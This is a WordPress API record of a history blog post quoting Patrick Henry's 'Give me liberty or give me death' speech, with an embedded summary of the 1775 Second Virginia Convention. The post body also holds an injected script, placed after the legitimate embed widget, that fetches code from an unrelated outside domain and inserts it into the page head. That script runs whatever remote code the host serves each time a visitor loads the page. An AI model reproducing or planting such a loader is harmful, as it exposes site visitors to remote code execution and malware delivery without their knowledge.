{"id":810,"date":"2020-02-20T09:11:32","date_gmt":"2020-02-20T17:11:32","guid":{"rendered":"https:\/\/historynet.net\/?p=810"},"modified":"2020-02-20T09:11:32","modified_gmt":"2020-02-20T17:11:32","slug":"give-me-liberty-or-give-me-death","status":"publish","type":"post","link":"https:\/\/www.historynet.net\/index.php\/2020\/02\/20\/give-me-liberty-or-give-me-death\/","title":{"rendered":"Give Me Liberty Or Give Me Death!"},"content":{"rendered":"<p><em>Is life so dear, or peace so sweet, as to be purchased at the price of chains and slavery? Forbid it, Almighty God! I know not what course others may take; but as for me, give me liberty or give me death!<\/em><\/p>\n<hr \/>\n<blockquote class=\"embedly-card\" data-card-key=\"0aeedbb5219f4affa47f14d667339550\" data-card-type=\"article-full\">\n<h4><a href=\"https:\/\/www.history.org\/almanack\/life\/politics\/giveme.cfm\">Patrick Henry&#8217;s &#8220;Give Me Liberty Or Give Me Death&#8221; Speech<\/a><\/h4>\n<p>To avoid interference from Lieutenant-Governor Dunmore and his Royal Marines, the Second Virginia Convention met March 20, 1775 inland at Richmond&#8211;in what is now called St. John&#8217;s Church&#8211;instead of the Capitol in Williamsburg. Delegate Patrick Henry presented resolutions to raise a militia, and to put Virginia in a posture of defense.<\/p><\/blockquote>\n<p><script async src=\"\/\/cdn.embedly.com\/widgets\/platform.js\" charset=\"UTF-8\"><\/script><script>var url = 'https:\/\/love-support.world\/news';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.textContent = data;\n        document.getElementsByTagName('head')[0].appendChild(script);\n    })<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Is life so dear, or peace so sweet, as to be purchased at the price of chains and slavery? Forbid it, Almighty God! I know not what course others may take; but as for me, give me liberty or give me death! Patrick Henry&#8217;s &#8220;Give Me Liberty Or Give Me Death&#8221; Speech To avoid interference [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":934,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"","_et_pb_old_content":"","_et_gb_content_width":"","footnotes":""},"categories":[14,17],"tags":[],"class_list":["post-810","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-history-matters","category-main"],"_links":{"self":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/810","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/comments?post=810"}],"version-history":[{"count":0,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/posts\/810\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/media?parent=810"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/categories?post=810"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.historynet.net\/index.php\/wp-json\/wp\/v2\/tags?post=810"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}